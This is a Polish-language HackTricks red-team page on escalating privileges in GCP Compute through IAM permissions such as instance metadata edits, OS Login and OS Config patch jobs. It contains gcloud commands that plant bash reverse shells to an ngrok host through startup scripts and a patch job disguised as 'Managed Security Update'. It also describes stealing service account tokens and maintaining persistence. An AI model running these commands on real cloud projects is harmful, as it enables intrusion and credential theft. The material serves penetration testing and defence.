GCP - Compute Privesc

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Compute

Aby uzyskać więcej informacji na temat Compute i VPC (sieci) w GCP, sprawdź:

GCP - Compute Enum

Zauważ, że aby przeprowadzić wszystkie ataki eskalacji uprawnień, które wymagają modyfikacji metadanych instancji (takich jak dodawanie nowych użytkowników i kluczy SSH), konieczne jest posiadanie uprawnień actAs dla SA przypisanego do instancji, nawet jeśli SA jest już przypisany!

compute.projects.setCommonInstanceMetadata

Dzięki temu uprawnieniu możesz modyfikować informacje o metadanych instancji i zmieniać autoryzowane klucze użytkownika lub tworzyć nowego użytkownika z uprawnieniami sudo. W związku z tym będziesz mógł zalogować się przez SSH do dowolnej instancji VM i ukraść GCP Service Account, z którym działa instancja. Ograniczenia:

  • Zauważ, że GCP Service Accounts działające w instancjach VM domyślnie mają bardzo ograniczony zakres

  • Będziesz musiał mieć możliwość skontaktowania się z serwerem SSH, aby się zalogować

Aby uzyskać więcej informacji na temat, jak wykorzystać to uprawnienie, sprawdź:

GCP - Add Custom SSH Metadata

Możesz również przeprowadzić ten atak, dodając nowy skrypt uruchamiający i restartując instancję:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

To uprawnienie daje te same uprawnienia co poprzednie uprawnienie, ale dla konkretnych instancji zamiast całego projektu. Te same exploity i ograniczenia jak w poprzedniej sekcji mają zastosowanie.

compute.instances.setIamPolicy

Ten rodzaj uprawnienia pozwoli ci przyznać sobie rolę z poprzednimi uprawnieniami i eskalować uprawnienia, nadużywając ich.

compute.instances.osLogin

Jeśli OSLogin jest włączony w instancji, z tym uprawnieniem możesz po prostu uruchomić gcloud compute ssh [INSTANCE] i połączyć się z instancją. Nie będziesz miał uprawnień roota wewnątrz instancji.

Aby pomyślnie zalogować się z tym uprawnieniem wewnątrz instancji VM, musisz mieć uprawnienie iam.serviceAccounts.actAs dla SA przypisanego do VM.

compute.instances.osAdminLogin

Jeśli OSLogin jest włączony w instancji, z tym uprawnieniem możesz po prostu uruchomić gcloud compute ssh [INSTANCE] i połączyć się z instancją. Będziesz miał uprawnienia roota wewnątrz instancji.

Aby pomyślnie zalogować się z tym uprawnieniem wewnątrz instancji VM, musisz mieć uprawnienie iam.serviceAccounts.actAs dla SA przypisanego do VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Możliwe jest utworzenie maszyny wirtualnej z przypisanym kontem usługi i kradzież tokena konta usługi uzyskując dostęp do metadanych, aby eskalować uprawnienia do niego.

Skrypt exploita dla tej metody można znaleźć tutaj.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Jeśli masz uprawnienia osconfig.patchDeployments.create lub osconfig.patchJobs.exec, możesz utworzyć zadanie łatania lub wdrożenie. To umożliwi ci poruszanie się w poziomie w środowisku i uzyskanie wykonania kodu na wszystkich instancjach obliczeniowych w projekcie.

Zauważ, że w tej chwili nie potrzebujesz uprawnienia actAs dla SA przypisanego do instancji.

Jeśli chcesz ręcznie wykorzystać to, będziesz musiał utworzyć albo zadanie łatania lub wdrożenie. Aby uruchomić zadanie łatania:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Aby wdrożyć wdrożenie poprawki:

gcloud compute os-config patch-deployments create <name> ...

Narzędzie patchy mogło być używane w przeszłości do wykorzystania tej błędnej konfiguracji (ale teraz nie działa).

Atakujący mógłby również nadużyć tego dla utrzymania dostępu.

compute.machineImages.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do obrazu maszyny.

compute.snapshots.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do migawki dysku.

compute.disks.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do dysku.

Ominięcie Zakresów Dostępu

Podążając za tym linkiem znajdziesz kilka pomysłów na ominięcie zakresów dostępu.

Lokalna Eskalacja Uprawnień w instancji GCP Compute

GCP - local privilege escalation ssh pivoting

Referencje

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

Last updated